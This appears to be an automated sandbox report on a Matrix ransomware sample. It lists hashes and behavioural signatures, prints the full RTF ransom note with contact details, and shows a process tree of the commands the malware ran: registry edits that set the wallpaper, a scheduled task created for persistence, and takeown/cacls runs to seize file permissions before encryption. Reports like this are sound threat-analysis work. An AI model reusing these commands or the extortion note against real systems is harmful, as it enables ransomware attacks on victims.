Analysis
-
max time kernel
145s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20-11-2024 19:18
General
-
Target
MatrixRansomware.exe
-
Size
1.2MB
-
MD5
a93bd199d34d21cc9102600c6ce782cf
-
SHA1
31b50d84aa1af4f0e76a523382caba476f6e45dc
-
SHA256
242713ef2f372f0d39ca8f01bd09c9f99bcfe850e156621c023dd9e0bfb9bd95
-
SHA512
642e0cacf80a54ffa8f1bdeebb2a9b9449bb062bc331924ff8b6c93853ade68cdbd23928081d7c5da7bce944f5c553b0c4b05bd90fda525f017415bd891534c2
-
SSDEEP
24576:NykKxXJdZiDTrfJR5ez1888K0aNE1eXTBoAlK/u95ByxXEfui:N8bcLK+KzlK/udyh/i
Score
10/10
Malware Config
Extracted
Path
C:\Program Files\Google\Chrome\Application\#README_EMAN#.rtf
Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}}
{\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;}
{\*\generator Riched20 10.0.15063}\viewkind4\uc1
\pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par
\pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par
\cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par
\b0 by our automatic software. It became possible because of bad server security. \par
\cf1\b ATENTION!!!\par
\cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par
state and decrypt all your files quickly and safely!\par
\b\par
\cf2 INFORMATION!!!\par
\cf0\b0 Files are not broken!!!\par
Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par
There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par
\i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par
* Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par
\i0\f0\lang1033\par
\cf3\b HOW TO RECOVER FILES???\par
\cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par
\pard\sl240\slmult1\b\fs28 [email protected]\par
[email protected]\par
[email protected]\cf1\fs24\par
You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par
\pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par
In subject line write your personal ID:\par
\b\fs28 30E5CD98FD81F3F5\par
\b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par
\i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par
\i0\par
\cf1\b OUR ADVICE!!!\par
\cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par
\ul\b\par
We will definitely reach an agreement ;) !!!\b0\par
\ulnone\par
\fs20 \par
\par
\par
\par
\par
\par
\par
\pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par
\b0\fs20\par
\pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par
1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par
2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par
3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par
4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par
5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par
\b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par
T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par
\pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 30E5CD98FD81F3F5\par
M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par
\pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par
\pard\sa200\sl240\slmult1\fs28 DJYfg6WM\cf0\f1\fs32\lang1049\par
\par
}
Emails
URLs
https://bitmsg.me
https://bitmsg.me/users/sign_up
https://bitmsg.me/users/sign_in
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
-
Matrix family
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Drops file in Drivers directory 1 IoCs
-
Sets service image path in registry 2 TTPs 1 IoCs
-
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Executes dropped EXE 64 IoCs
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 64 IoCs
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 41 IoCs
-
Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops file in Program Files directory 64 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 40 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\MatrixRansomware.exe"C:\Users\Admin\AppData\Local\Temp\MatrixRansomware.exe"1⤵
- Matrix Ransomware
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\MatrixRansomware.exe" "C:\Users\Admin\AppData\Local\Temp\NWJ8KRps.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NWJ8KRps.exe"C:\Users\Admin\AppData\Local\Temp\NWJ8KRps.exe" -n2⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\OhOQAtM6.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\OhOQAtM6.bmp" /f3⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\LmfUROdi.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\LmfUROdi.vbs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\YrHhVySU.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\YrHhVySU.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "DefaultID.pdf" -nobanner3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "DefaultID.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv064.exeVjYf8Dv0.exe -accepteula "DefaultID.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Dynamic.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Dynamic.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "SignHere.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "SignHere.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "AdobeID.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "AdobeID.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "StandardBusiness.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "StandardBusiness.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ENUtxt.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ENUtxt.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "jnwdui.dll.mui" -nobanner3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "jnwdui.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\es-ES\MSPVWCTL.DLL.mui""2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\MSPVWCTL.DLL.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\MSPVWCTL.DLL.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\it-IT\JNTFiltr.dll.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\JNTFiltr.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\JNTFiltr.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "JNTFiltr.dll.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "JNTFiltr.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\ja-JP\Journal.exe.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\Journal.exe.mui" /E /G Admin:F /C3⤵
-
-
